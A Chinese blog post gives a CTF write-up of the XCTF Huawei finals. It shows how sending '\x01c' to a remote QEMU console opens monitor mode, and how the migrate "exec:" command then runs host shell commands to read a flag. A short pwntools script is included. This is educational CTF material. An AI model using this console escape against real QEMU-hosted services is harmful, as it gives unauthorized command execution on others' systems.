XCTF华为高校挑战赛决赛 复现

2022-09-26

作为一场纯嵌入式的比赛,大四菜狗比赛2天,坐牢两天….
有些题目的正规解题估计很难,但是非预期解倒是非常有趣.感觉可以学一学
首先作为嵌入式的题目,绝大多数都是arm架构的,一般都是用qemu跑起来。
很多非预期解都是跟qemu的特性相关的,因此一些qemu特性需要我们了解

qemu特性(不完全版)

qemu似乎有个叫做monitor的机制,在进入的monitor机制后,可以做一些特殊的操作(即原来qemu不能运行的命令)
当时看到xuanxuan哥的blog后,我大受震撼!
似乎在使用qemu来运行其他程序时,如果出题方给的脚本里没有开启monitor模式时,一个非预期操作就诞生了!
我们似乎可以在与远程服务器进行交互时,发送"\x01c"(似乎是ctrl+a c)来使远程qemu进入monitor模式,这样我们就可以做一些其他的命令!
monitor模式里可以使用的命令可以参考
https://qemu.readthedocs.io/en/latest/system/monitor.html

unsql

这道题目逆向起来似乎是非常困难的。
但是查看这个程序的qemu启动脚本
好,它没有开monitor模式!换句话说,我们可以手动开启monitor模式来输入其他命令!
因为已经没有了远程环境,我们使用本地环境来进行调试

from pwn import *
context(log_level='debug')

#io =remote("172.35.7.36",9999)
io = process("./start_qemu.sh")
io.send(b"\x01c")
sleep(1)
# io.sendline(b"")
# io.sendlineafter("(qemu) ",'migrate "exec: strings /rootfs.img | grep flag"')
io.interactive()

在进入模式后,尝试使用xuanxuan哥blog里提到的方式migrate "exec: strings rootfs.img | grep flag" 来尝试获取flag

尝试了一下还真拿到了flag!
不过migrate “exec: strings rootfs.img | grep flag”这种用法,之前确实没有见过,上面的文档里也没有,可能是老练的qemu大师的经验吧
在xuanxuan哥的帮助下在qemu的文档里找到了该命令

yugioh

这道题目一开始是个游戏王的游戏,但是对方有挂,3个回合,每回合召唤一个三神兵之一,普通玩家毫无招架之力
老样子,先看启动脚本
可以看见,同样的没有开启monitor模式,我们可以手动开启,获得monitor权限
不过看xuanxuan哥的blog,在远程时可能存在一些问题
这时候也体现出linux大师的力量啦,各种命令用的贼溜
head tail 这些命令,之前都不会想到。
head可以读取文件开头的若干行,tail可以读取文件末尾的若干行
head和tail的组合使用可以读取文件的任意行数 例如:

head -n 3 readme.txt | tail -n 2

可以读取readme.txt文件的第2~3行

其他

其他的题目似乎也有题解,但是背景知识太多了,不由感叹安全领域的广阔无垠….

总结

  1. qemu monitor非预期利用
  2. head、tail组合运用

references

https://xuanxuanblingbling.github.io/ctf/pwn/2022/09/19/harmony/
https://hhb584520.github.io/kvm_blog/2017/02/17/qemu-monitor.html
https://qemu.readthedocs.io/en/latest/system/monitor.html
https://www.jianshu.com/p/95aa966e45e9